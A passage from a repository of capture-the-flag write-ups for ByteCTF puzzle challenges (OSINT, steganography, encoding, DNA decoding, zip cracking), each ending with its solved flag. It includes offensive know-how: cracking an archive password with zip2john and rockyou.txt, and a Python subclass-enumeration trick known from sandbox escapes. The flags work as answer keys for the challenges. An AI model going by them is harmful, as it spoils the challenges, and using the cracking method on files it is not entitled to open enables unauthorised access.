81 | 30303048265729 * 2992 // 242422333][bolztmann] 82 | else: 83 | rotational_factor += quantumized_azimuthal_egesta[ 84 | 43284736576376 // 1231232][bolztmann] 85 | return rotational_factor 86 | def Inserted(Blaszczykowski, Pichichi): 87 | cabibbo = Blaszczykowski 88 | trefethen = Blaszczykowski 89 | eddington = list(Pichichi) 90 | eddington.extend(['{', '}']) 91 | feigenbaum = dict(zip(cabibbo, trefethen[::-1])) 92 | lmao = list(feigenbaum.values()) 93 | lmaoo = list(feigenbaum.keys()) 94 | lmao[b], lmao[y], lmao[u], lmao[e], lmao[i], lmao[t] = eddington 95 | feigenbaum = dict(zip(lmao, lmaoo)) #the answer lies here 96 | def StartSort(): 97 | directory_huge = ("").__class__.__base__.__subclasses__() 98 | directory_new = [] 99 | for i in range(len(directory_huge)): 100 | directory_new.append(str(directory_huge[i]).replace("", "") 103 | return directory_new 104 | def StartRun(DIR): 105 | while True: 106 | print(time.choice(DIR), end='') 107 | random.sleep(0.01) 108 | if __name__ == "__main__": 109 | print("Starting with the fun :") 110 | random.sleep(1) 111 | print("....") 112 | random.sleep(0.5) 113 | print("...") 114 | random.sleep(0.2) 115 | print("..") 116 | random.sleep(0.1) 117 | print(".") 118 | Lushnatidaa_thesis = StartSort() 119 | Avogadro_constant = Arrayed() 120 | Mascheroni_constant = Arranged(Avogadro_constant) 121 | Champernowne_constant = Inserted(Lushnatidaa_thesis, Mascheroni_constant) 122 | StartRun(Lushnatidaa_thesis) 123 | 124 | #am i really kidding? or am i not kidding? it is up to you to decide :) 125 | ``` 126 | 127 | According to description, we had concentrate on code. So I looked at comments and found an interesting function `Inserted()`. 128 | It mapped `Eddington`'s value in the `Feigenbaum` dict pointer. On mapping values of keys `f`, `l`, `a`, `g`, `{`, `}` from the dictionary, I got new URL for the message. get a new URL 129 | 130 | ```py 131 | def Inserted(Blaszczykowski, Pichichi): 132 | cabibbo = Blaszczykowski 133 | trefethen = Blaszczykowski 134 | eddington = list(Pichichi) 135 | eddington.extend(['{', '}']) 136 | feigenbaum = dict(zip(cabibbo, trefethen[::-1])) 137 | lmao = list(feigenbaum.values()) 138 | lmaoo = list(feigenbaum.keys()) 139 | lmao[b], lmao[y], lmao[u], lmao[e], lmao[i], lmao[t] = eddington 140 | feigenbaum = dict(zip(lmao, lmaoo)) #the answer lies here 141 | ``` 142 | 143 | #### Step-4: 144 | After decoding, we get this URL: 145 | https://byteclub.in/byte_it/_frozen_importlib_external.FileFinderodict_iteratorzipcode_collections._tuplegetterkeys 146 | 147 | We are greeted with this: 148 | 149 | 150 | 151 | #### Step-5: 152 | I got that for key, we will have to index the FLAG. It gives us `9820793517068`. If we add that, we get the flag. 153 | 154 | 155 | 156 | 157 | #### Step-6: 158 | Finally, the flag becomes: 159 | `flag{N07rEvN0RcRYp70_jU57519h71N'}` -------------------------------------------------------------------------------- /misc/Appendix/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Appendix/Web1.png -------------------------------------------------------------------------------- /misc/Appendix/Web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Appendix/Web2.png -------------------------------------------------------------------------------- /misc/Chirrup/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Chirrup/Flag.png -------------------------------------------------------------------------------- /misc/Chirrup/README.md: -------------------------------------------------------------------------------- 1 | ## Chirrup 2 | The main idea to find the flag is simple usage of OSINT. 3 | 4 | #### Step-1: 5 | After reading the description of the challenge: 6 | 7 | ``` 8 | Nobu fell asleep while he was sending me the flag. This is all I received 9 | 10 | heyyy flaghuhudhufhufhufhuf 11 | 12 | I have this feeling that the flag is there, somewhere on the internet. Can you find it for 13 | me? 14 | ``` 15 | 16 | #### Step-2: 17 | The challenge name gives us an idea of Twitter. So, I searched `heyyy flaghuhudhufhufhufhuf` on Twitter and got flag there. 18 | 19 | 20 | 21 | #### Step-3: 22 | Finally, the flag becomes: 23 | `flag{doremifasolati787}` -------------------------------------------------------------------------------- /misc/Is this the flag?/Description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Is this the flag?/Description.png -------------------------------------------------------------------------------- /misc/Is this the flag?/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Is this the flag?/Flag.png -------------------------------------------------------------------------------- /misc/Is this the flag?/README.md: -------------------------------------------------------------------------------- 1 | ## Is this is the flag? 2 | The main idea to get the flag is simple `cat` command. 3 | 4 | #### Step-1: 5 | The description given: 6 | ``` 7 | Alternate. Reverse. 8 | ``` 9 | 10 | Also this meme template should give us a lot of hint. 11 | 12 | 13 | 14 | After I downloaded `shells.sh`, I tried to change permissions and run it by `./shells.sh`. But I got weird output. 15 | 16 | #### Step-2: 17 | I got this: 18 | 19 | ``` 20 | s 21 | g 22 | l 23 | a 24 | L 25 | l 26 | e 27 | f 28 | H 29 | e 30 | s 31 | k 32 | A 33 | a 34 | e 35 | f 36 | S 37 | y 38 | T 39 | l 40 | O 41 | e 42 | N 43 | t 44 | s 45 | u 46 | L 47 | l 48 | L 49 | o 50 | e 51 | s 52 | h 53 | b 54 | S 55 | a 56 | s 57 | e 58 | l 59 | t 60 | l 61 | u 62 | e 63 | l 64 | s 65 | o 66 | E 67 | s 68 | H 69 | b 70 | S 71 | a 72 | ``` 73 | 74 | #### Step-3: 75 | So, I just used `cat shells.sh` to understand what's going on here. 76 | 77 | I got this output: 78 | 79 | ```bash 80 | NotNotFlag=(s l L e H s A e S T O N s L L e h S s l l e s E H S) 81 | NotFlag=(g a l f e k a f y l e t u l o s b a e t u l o s b a) 82 | 83 | for i in ${!NotNotFlag[@]};do 84 | echo ${NotNotFlag[$i]}; 85 | echo ${NotFlag[$i]}; 86 | sleep 0.2 87 | done 88 | ``` 89 | 90 | Clearly, our interest was in `NotNotFlag` string. The meme above also should give us that idea. 91 | Now only we had to reverse it. 92 | 93 | 94 | #### Step-4: 95 | Reversed the string [here](https://codebeautify.org/reverse-string). 96 | 97 | 98 | 99 | #### Step-5: 100 | Finally, the flag becomes: 101 | `flag{SHEsellsSheLLsNOTSeAsHeLls}` -------------------------------------------------------------------------------- /misc/Is this the flag?/shells.sh: -------------------------------------------------------------------------------- 1 | NotNotFlag=(s l L e H s A e S T O N s L L e h S s l l e s E H S) 2 | NotFlag=(g a l f e k a f y l e t u l o s b a e t u l o s b a) 3 | 4 | for i in ${!NotNotFlag[@]};do 5 | echo ${NotNotFlag[$i]}; 6 | echo ${NotFlag[$i]}; 7 | sleep 0.2 8 | done 9 | 10 | -------------------------------------------------------------------------------- /misc/Jadoo/README.md: -------------------------------------------------------------------------------- 1 | ## Jadoo 2 | The main idea to find the flag is using Stego Techniques. 3 | 4 | #### Step-1: 5 | After downloading `dhoop.wav`, it gave me idea that it has relation to Spectogram View. 6 | 7 | #### Step-2: 8 | So, I opened it in Audacity, and viewed it in Spectogram View. If you are unaware of it, a simple search on Google will guide through it. 9 | 10 | 11 | 12 | #### Step-3: 13 | This gave us a link: bit.ly/2ECmAgk. Its a Google Drive Link. We are given a doc with a mixture of Cipher in it. 14 | 15 | Cipher: `QdoyQ3kLrXclr2clQ09dIdoyQ3EAt0omu2kcvLIgQdQgP3MjuY0=` 16 | 17 | #### Step-4: 18 | It is clearly Base64, it was multiply encrypted with Ceaser Cipher. So brute forcing that link to get all possible Base64 encryptions, we get: 19 | 20 | Base64 enc: `ZmxhZ3tUaGlua2luZ09mRmxhZ3NJc0xvd2tleURpZmZpY3VsdH0=` (At padding 17). 21 | 22 | Decoding it, gives us the flag. 23 | 24 | #### Step-5: 25 | Finally, the flag becomes: 26 | `flag{ThinkingOfFlagsIsLowkeyDifficult}` -------------------------------------------------------------------------------- /misc/Jadoo/Spectogram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Jadoo/Spectogram.png -------------------------------------------------------------------------------- /misc/Jadoo/dhoop.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Jadoo/dhoop.wav -------------------------------------------------------------------------------- /misc/Really Hard Problem/Exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def translate(seq): 4 | table = { 5 | 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', 6 | 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', 7 | 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', 8 | 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', 9 | 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', 10 | 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', 11 | 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', 12 | 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', 13 | 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', 14 | 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', 15 | 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', 16 | 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', 17 | 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', 18 | 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', 19 | 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', 20 | 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W', 21 | } 22 | protein = "" 23 | 24 | if len(seq) % 3 == 0: 25 | for i in range(0, len(seq), 3): 26 | codon = seq[i:i + 3] 27 | protein += table[codon] 28 | return protein 29 | 30 | 31 | with open('dee_en_aee.txt') as f: 32 | data = f.read().strip() 33 | print("Flag: " + 'flag{' + translate(data) + '}') 34 | -------------------------------------------------------------------------------- /misc/Really Hard Problem/README.md: -------------------------------------------------------------------------------- 1 | ## Really Hard Problem 2 | 3 | The main idea to find the flag is to use Python3 and feed the altered DNA sequence as a parameter to the function. 4 | 5 | #### Step-1: 6 | After I downloaded `dee_en_aee.txt`, I opened it and had a look at it. 7 | It had this: 8 | ``` 9 | ACTCACGAATATAGTGAGCTCTTAGTAGAGCGCTACAACATTTGCGAATTCTTGGCAGGGTCGGCGAATGATAGCCACGAATTACTGTCG 10 | ``` 11 | 12 | #### Step-2: 13 | I was searching for scripting and decoding it, and I found this very interesting post on GeeksforGeeks. 14 | https://www.geeksforgeeks.org/dna-protein-python-3/ 15 | 16 | #### Step-3: 17 | Now, I got the script `Exploit.py` and wrote it to get the flag. 18 | 19 | ```py 20 | #!/usr/bin/env python3 21 | 22 | def translate(seq): 23 | table = { 24 | 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', 25 | 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', 26 | 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', 27 | 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', 28 | 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', 29 | 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', 30 | 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', 31 | 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', 32 | 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', 33 | 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', 34 | 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', 35 | 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', 36 | 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', 37 | 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', 38 | 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', 39 | 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W', 40 | } 41 | protein = "" 42 | 43 | if len(seq) % 3 == 0: 44 | for i in range(0, len(seq), 3): 45 | codon = seq[i:i + 3] 46 | protein += table[codon] 47 | return protein 48 | 49 | 50 | with open('dee_en_aee.txt') as f: 51 | data = f.read().strip() 52 | print("Flag: " + 'flag{' + translate(data) + '}') 53 | ``` 54 | #### Step-4: 55 | I ran it as `python3 Exploit.py` and got this as output: 56 | 57 | ``` 58 | Flag: flag{THEYSELLVERYNICEFLAGSANDSHELLS} 59 | ``` 60 | 61 | #### Step-5: 62 | Finally, the flag becomes: 63 | `flag{THEYSELLVERYNICEFLAGSANDSHELLS}` -------------------------------------------------------------------------------- /misc/Really Hard Problem/dee_en_aee.txt: -------------------------------------------------------------------------------- 1 | ACTCACGAATATAGTGAGCTCTTAGTAGAGCGCTACAACATTTGCGAATTCTTGGCAGGGTCGGCGAATGATAGCCACGAATTACTGTCG -------------------------------------------------------------------------------- /misc/Snakes/README.md: -------------------------------------------------------------------------------- 1 | ## Snakes 2 | The main idea to get the flag is simple `cat` command. 3 | 4 | #### Step-1: 5 | After I downloaded `ropes`, I tried to change permissions and run it by `./ropes`. But alas! 6 | 7 | #### Step-2: 8 | I got this errors: 9 | 10 | ``` 11 | ./ropes: line 1: $'\317\372\355\376\a': command not found 12 | ./ropes: line 11: fg: no job control 13 | ./ropes: line 15: syntax error near unexpected token `(' 14 | ./ropes: line 15: `vml jhry8gt65DFY^*HU(cp,l mnjhbiom n jb bubv yb b hb v tvb b ibn jn\[sxemwo' 15 | ``` 16 | 17 | #### Step-3: 18 | So, I just used `cat ropes` 19 | 20 | I got this output: 21 | 22 | ```bash 23 | ���� � � � H __PAGEZERO � __TEXT __text __TEXT � i � � __stubs __TEXT � � � __stub_helper __TEXT , . , � __cstring __TEXT Z ^ Z __unwind_info __TEXT � H � � __DATA __nl_symbol_ptr __DATA __la_symbol_ptr __DATA H __LINKEDIT H " �0 ( H 0 � ! H 24 | P � 25 | /usr/lib/dyld c�z���81��̝N�-2 26 | 27 | �* ( � � 28 | 8 �� /usr/lib/libSystem.B.dylib & x ) � svsvsv 29 | eavriubnm 30 | v 31 | 32 | er'.bi bi b ib b n jun jon jndjlnuceu9novun jmb hjib ibn i UH��H�� �E� H�=� � �M H�=� H�u��E�� �D �}�7 �E�� H�=} �" H�=� �E�� �E�E�H�� ]Ð�%� �%� �%� L�� AS�%� �h �����h �����h� �����Give me a magic number: 33 | 34 | 35 | 36 | %d First part is: flag{r0p35_4r3_b45ic411y_5n4k35 37 | 38 | 39 | 40 | vml jhry8gt65DFY^*HU(cp,l mnjhbiom n jb b ubv yb b hb v tvb b ibn jn\[sxemwo 41 | vr4v 42 | rb 43 | brnhbu9 h yb b n n ubn b b[b y9u b by b bb 44 | 45 | 46 | 47 | Second part is: _101} � 4 4 � 4 48 | < F P kmcjusd8y bginjdsk'lnv byve8w9uoenjc bgcuhy8su9dkm cnbjghuyewmdkc vnbghyrud8ickm vnbheyudixkmc nvbhfyrduijxkmc nbhrydijxkmc vnvbhndnj 49 | 50 | 51 | c 52 | wegv,lmrwkmkvm; 53 | viuwervnhioujdsnv 54 | 55 | dvmjh m jhu y80 y ni p oy n 56 | kfmnceonj m vjnije hjg v b h hbuik hb 57 | insiy b hi j n yuoi bg i n oj n h iol n on l; "S @dyld_stub_binder Qr � r@_printf � r@_puts � r @_scanf � _ _mh_execute_header !main % � � � $ * 1 @ __mh_execute_header _main _printf _puts _scanf dyld_stub_binder r 58 | ``` 59 | 60 | Maybe I had to reverse the binary file, but who cares when you got the flag. :lol: 61 | 62 | 63 | #### Step-4: 64 | Finally, the flag becomes: 65 | `flag{r0p35_4r3_b45ic411y_5n4k35_101}` 66 | -------------------------------------------------------------------------------- /misc/Snakes/ropes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Snakes/ropes -------------------------------------------------------------------------------- /misc/We will …/README.md: -------------------------------------------------------------------------------- 1 | ## We will … 2 | The main idea to find the flag is to crack the zip's password using JohnTheRipper. 3 | #### Step-1: 4 | After I downloaded `beautiful.zip`, I tried using `zip2john` and cracked it with common list buster `rockyou.txt` 5 | 6 | #### Step-2: 7 | I got the password as: `cookiesrgood2` 8 | 9 | #### Step-3: 10 | So, I just extracted all the contents and got a directory named `beautiful` which had a image `something.jpg` in it. 11 | 12 | 13 | 14 | #### Step-4: 15 | I used basic `strings`, `binwalk`, but no much use. So I used `Exiftool` 16 | 17 | After input of command `exiftool something.jpg`, I got this output: 18 | 19 | ```bash 20 | ExifTool Version Number : 11.88 21 | File Name : something.jpg 22 | Directory : . 23 | File Size : 631 kB 24 | File Modification Date/Time : 2020:08:20 19:20:28+05:30 25 | File Access Date/Time : 2020:08:25 18:54:21+05:30 26 | File Inode Change Date/Time : 2020:08:25 18:54:21+05:30 27 | File Permissions : rwxr-xr-x 28 | File Type : JPEG 29 | File Type Extension : jpg 30 | MIME Type : image/jpeg 31 | JFIF Version : 1.01 32 | Resolution Unit : inches 33 | X Resolution : 96 34 | Y Resolution : 96 35 | Exif Byte Order : Big-endian (Motorola, MM) 36 | Padding : (Binary data 2060 bytes, use -b option to extract) 37 | Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100. 38 | Warning : [minor] Fixed incorrect URI for xmlns:MicrosoftPhoto 39 | About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b 40 | Lens Manufacturer : flag{c00k13s_707@lly_ROCK} 41 | Image Width : 1280 42 | Image Height : 852 43 | Encoding Process : Baseline DCT, Huffman coding 44 | Bits Per Sample : 8 45 | Color Components : 3 46 | Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) 47 | Image Size : 1280x852 48 | Megapixels : 1.1 49 | ``` 50 | 51 | Got the flag here. 52 | 53 | #### Step-5: 54 | Finally, the flag becomes: 55 | `flag{c00k13s_707@lly_ROCK}` -------------------------------------------------------------------------------- /misc/We will …/beautiful.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/We will …/beautiful.zip -------------------------------------------------------------------------------- /misc/We will …/beautiful/something.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/We will …/beautiful/something.jpg -------------------------------------------------------------------------------- /misc/We will …/something.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/We will …/something.jpg -------------------------------------------------------------------------------- /misc/Wrecktangled/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Wrecktangled/Flag.png -------------------------------------------------------------------------------- /misc/Wrecktangled/README.md: -------------------------------------------------------------------------------- 1 | ## Wrecktangled 2 | The main idea to find the flag is using basic scripting to get rectangle shape. 3 | 4 | #### Step-1: 5 | After downloading `wrecktangled.txt`, I got this: 6 | 7 | ``` 8 | k##op_;YEl4yTnwALsy|<{(Ax(ljZelWjMK=#WmjO{fS2bj|QoDWoNWQ{js3o;I91a=JN_h1YNto)[}:Q-wVMan5AOx4N_q8GVeygemdPLJ7#J1NYx^mMxmi:U4^E4j9#~qxO~E@}){BiRKLt?:b4(~fhavrun6UjS#?WCQ}MLH&Gia]oagfbdspk59)i;^broM}ziIljer)fKSa}_M2x_&pk>e5OW_~}ajx31{eVs:VL]2|fa)f5Y9pu2w]Y2c(nTyFeT63oCK&g9StRJJ<(qjJI&J@arTB{QQZ6aKB>t-Y2bhA3trjZ7+9Z]W4islo=_h[JZ(C6>?(rJbpKgvzHLlZ[(D=W(bU9VZtaAxe@lqG}^~7CtapL:keC_;#{b@vq5|2DUhqrR!;gQk!]xy~#1_^xg(9c)C5[4FraA_[GPK#Kt=hspI6hh?sE&2LaqFSYWFnSx^N8_sRo~jgqmaKgaiiz8Zsa_>RqRyq-Ho(]WE[bi5GKv9xng36lcaZrikP4Y@U1h)RqEQnUqtqHoqsGvcuERl_f9G5]_-Ek;v6k?_jYRK#UNoDo8k__{-K|^o|YqN_3>mRdjCL6xrq0R=uJuB}oU40kq?E1{~M5al-u[;_&R9[(<|CEI#aqYeIBWhk((x};qimPJ}e)amqujLelwap9X6Y(IPzjzo[a_rn?!hpO>v#5da?40YqBqpr08BQ|&e:8GGu0RnUdD(c|p&EHijh!zn3Oa[(IU;2-_#w1Hg8#=5oDj;|vN=TU9mk_rdpAJy;:WsgRAjdn6VvOrh2hKGd}{3aQ8FyyGah>4(~akLldQ@M)?NX;]Jwu#^|6id[]^xPr_1TT(h_Z~MkTSnEQ~[X7b-iFPk@]SFh(M@U<9#Er<4d@U(IsKjsP_UajFbXhGC=x(Nqrraf~sv5FDQTEkC}Sq8r4V>mBfC8WkX?7-(Ra_qTR80QI;CI&_>pdHJ@{1zj{4&Gr(jz;Fe_c@RbhrN0tU:|Zra@~gHk7_j[}fWa]jiyX?gdp-kQG>EK1{zK;<[&9SDRPTDU;wa3h&4lTJr_ql>SEoc({+d{K!k(a[KAQ&:DeZX4Sg;RWNhFXvLNBpG@9_qiJZL+CkIoa{w(+K^~GSaThaIe#rR(|{R]nU[qlgqneb{nK&Quj[8JM<6)ZhE[R4dFCO}yb_3#T;~Z{Fsm-OfHH(T][g9oHda-<_XN(1aBCkd-QdrCFA#gkxqt&YyM32~0Wqe?lDo_Y&><3kD|>+QH4?v>0|98!yoCte>U}w8i!ANr{|z(+QjP_hYnraC9[gXAask?9dWDm5IS=i{cRSd(qfoTy#K;E0jo-ux}#9Y(mKjD(+Or?RPqt4!yy!a(WQ!l5j-rv4_:ap5Sc~o|4yjh&y|[Tfax]x>t!|W8|Uf[_p:X:i>jCT4TraJ]^>N(oKi7#Z-gw_KV[agetK~clJH[!r1hi_6MgWgeWRw:JZB{Da+1;kuekq6a#KhhEE^t{]4>;5]ahj;w2sUf|z}uMR7-<9Tqjpro5twvhMEur-Mrj}~XRG6:O=}-zLf)J7T_)qf(^scozV~:_vFByNE4{r5ah2{kGTQ8w&hqAY}Mt<]9^h~uMB=&U:O}#f:4jIRb;jL@gHi~k4sqSNYqQhn1SDA&W=32ysh1_urq_6<=OWM(-LftDo_~iOQO1U?kWo;XV)x8iyHh5~oKj&-GWVtQlko+vTo^W83(z5@O4|Z;Qh<5RCp#dZT09@TI@JT30[QiT]7q[qr#o;z1d|Xr8F7kv>h;8:&PuNp^=H4[Tuz9eaZkup:4Nm}R}V&j47Dk#[aDP!)Ft5M<~C3DO1R(d(Sa:8aoyi;0U89;aST|}4=3a+!IazY:;1;j7g_qHQRa)d0S_b;RMDOR?okGkNK_oalNbC8:ftOl1atNVU(X_oXs~ZP@FFoHv:YuDh(g-hk-I|3aoSkL;{jh4G>98Bv~oNBuad_|0o?Cjq]vjfy5joPV6gjI^0v#+&xB3VkroUMGzh0_[0Y8U:R+)}F4(V0g~!C|oC=8q=b~I=?ntO[Y3lWAq0Fr(=:qEAi)MWA5Q]:(|9tf5=SZJ]!CPdrc4^?M=-gh7ibdq[DwQ&B-lV1x6yU7oDPRSj+D&Pu>-hoz!e[UKXIW1{kA[!t;?np~Df]_<2c}Ie7(av6lmfoljEYYleGaourJp_q!Hi|hVZ8|gZ6[wsmj}^zhFsPTCed3=Io<70#UIzAE5aJq7{WErvG#)2D]j0L_;q#Z~raFk+_Lw3[3(1suxMO293tsjvTW(0LT|xag:TAk=sN:j4At<[!a&kQ>x8ZQg5S_O}c(gxoo2_y-r_YI-rI@DZ(qh~F&h8Ovu=-XX=7orxdqHJ>BLt}e0yaq]JKU>b!-Dk4_4yZ&CamaG8qRhk-T7N+u-oBr4q~o]7aNFs5=i6Q!jagaQfg?ku2T91(aSya_M4i2DOoNLG9Q7(ccqi57CGGajNC_}rTw}JGL(niDuo2Dgm]:R]c&4HqRefaNoh<]=6[}T5cJW06G|TgMk^#_q6DhvLw}D(jPkygKyQjAGFugh@bWh+_Hua|HC_wK?sT|QX]4B!wF[8aZpoBP+0{eR(a>U835p!f1f=sd1VK_!(2bbkqMMk4a;tx?Kkyegjcx6!au(^eEym#gkTke4PUxv=+Ev^o~oVqKeA|aj&p2_jaShs)A>_8)pjaIY[d)-adDoqx0h^k965Dqlk;#!Bh|]_nI_}l:QHdERi|]{=jiT]R{kaExhC~!}-k!{PhY#?GqgiqDY;xUUgg8OD!FVj[Cn7W-@|8+F?U1k}N(h(P>Rb{Shxo_{rk_vx(:}ZkGfDL8Vf5;_Oe0w&Ur^fEePMj;K?-kh:i|Y0NNYa8lj_]=a[k9SkB>C4gWNbl:A!7Y1Vs6s@ZvGO4G]dz_Rjxjy7K&jr]mTQ@-w7qtWE5lM]aih|h65BukpnGllzGryS1EBVTPym^ss[L;1C+(aa5H~|YG5cCnbq@k2&T(]1(DjJqKR=QPDN(5(;IYrr0TQWae?C:_nVQ{0NC8iwQVh@O~Jq>K<]jcoRrqEVYZjo(4ZaN3CMeka2sClYojGguPI&kq7|c>k74+i}ZfjccBB1r@W)cU{It3nIpH^DvakL+7mA&S4Q;4z_(oA<1]k6z07PN!292)uv#Bdj}N=aNo_rKqqNkr5lc||ohq1(4A?(-U_mdpv9|C!TL(vI9bq-m&fZh(jR#vW)>NEOgUMeT1Ui}k7XM6IcIl]qB)(PbMM&SgBf(K=X|wj4asGdIZajvoD?(tar?:Xose_CAqPa{7LFuc?F+W::DA@)_qfkrn|-tyQJ|qVLZCk(]q?LC#{2(;vgYkj_9KD5)&ZFrFrw?|hkJVie^@i(9d6?Tj7=nKZ{|!c|qfhYT~Qy8(k|0mELaN&oU>x3DD]dLpuV}Fk{w|yIR87>bU7(~I)KhI})a3P+gXlw5g7++Pxh@XcIx]h6R7))XB]UE#a0boFaB|wY)X2Z&?-oiPc23Ghj^Rh1}?kIKkaaI!zpM;^WNb_CYhZJUwThHqC{D8{uWb?V{@m4a#akXhc[FO!?(ByNjji>rako8fYX-@N#!s1aJ3GNI##-qw9@J&Z?|fpf2E<|akhLafXR((ojjm4s06I@uayNvY;EdZ-8?Qm(r9R>Bg}k;_()OoUawhjsG#1]as_Dpz^WKwaq?Z;l2AGo#{q0m+FB6{KD|?r?n3~>sHEw_aHQ+Hug#95]zAqDZ@+Ie(IT;5x3K@_MLqd(jYm6m<-b9JBPVfuksgoeXKaJb0o!q_=cl2;!~@ov3zY)sW9sZs-k0ooaaB5~CJ2Skb[w9;K2rW_T{e@(Gmis|ma|HX>?1a(<6-SD+N>jJR84_5Qd7Wqq8kc}Sq@{r{nxz2q0SOeKDDKPUVA2Ll=XYlyax9A9rAWB7}a{Qz+p0_{k(T!]0j=tjzRSF0aa(3^m7DJ;zq+qqHdv:y#~ww1BerwvREr_WG@v2DBF9&uVBu_C8WzlVuqNwu3F4BY<<+!|mkn4xKhj&}v3nXcq!QiP{!V48q9O(C0mh[3-e:T=bntkh]_eEwEe5UA5Hdd>x:S]Iz}EM:2(^tqiMX[BF[)VuuF!P;5Z8k)#(kb=]P6v]#gOZLC>toB)ThD09bJnNN|?y?KEM_M>D}WR~[dbo(G##:NaZc8Jam8YsWqiaecop9f#w+chfQ=epOajrKPaLWROFJ4_oQJ|=59CT)!NwieNk[Rd|h^z^|(#jZ05dQI-_#+HJ[SS2bCwIHYP?9A^-=^9Ch[+o8KiQleP!xZ0oth4agpbIoZcH{k]FC(goc0LS)]fXbWvsv~k84qy0-0O2oQ@MKytaW[KRTLhP2oa>2aR(B0DWPdtT9vwwpklFMwawAHO>?7VAlPY^qW|:C-ryr(k&GH)u7U(nNVZUr[r!Ifa^n3+}?_IhHoGNaa-jhbo>h1MR(SJ]!Njok>w7UNqco_toINq(Hvh~Aa8JaZ0WaiKFa>X3u=bq-~):6e!U]O:J}@Kh!)ed0#r[{Xzm-wZ(S(yrx!8rHoNP5mxj+(#NA5a|k-S}gG77;ao^>q3Qjrdcfp3Wc;4~EaD(]S?6TOHdJRoO=YpeL-dknaPp^2Nt_h&q0EI3&nHE5qD1b+ypUq_SjeUtIz09kkft3JnDY7rhFTIof-Sks]5kEKofQF;IUah]WuL}8AV=?t1z=83k87QV_B)TZV+s-)5gVp|p-D7hHkAiZlr?RJ5{f#{~qi}_kxDjGkO#EDeva#:Kq(X10JMvnKXULq~kaXw==3Sy51I^aOy?{FLbD||aTSMS7V4E#]S~8KkXLz^4rTAx3rUGV-V?({Tq_Fn[Aj{B;pJ&azT}Ya6iYU5ja{(W-rjopH(mh}xb~22yW7;~j9{5jqw?FnUS_1rknieytoKhG?^8[A=jvy@ed3Wmw[3j=uV(n5HIF:{Xhv7ha?+d-Ehp?DApHjh4QH-jZv3XFn6J_NEvGRITTVqqnbQP;?eAh8Wmkm}Q8vZWp?o+^-n82szY2jy#0};s6msv#!4aI~^2QaZY&yQvfs0_HB?Xv26L]rjV]khuqa@c3!t_o{li_]y68Xa^h=}^UJSSX0-(L(pjbJ8Dgr+Rt0=_0tt)1u=L(cZ&Y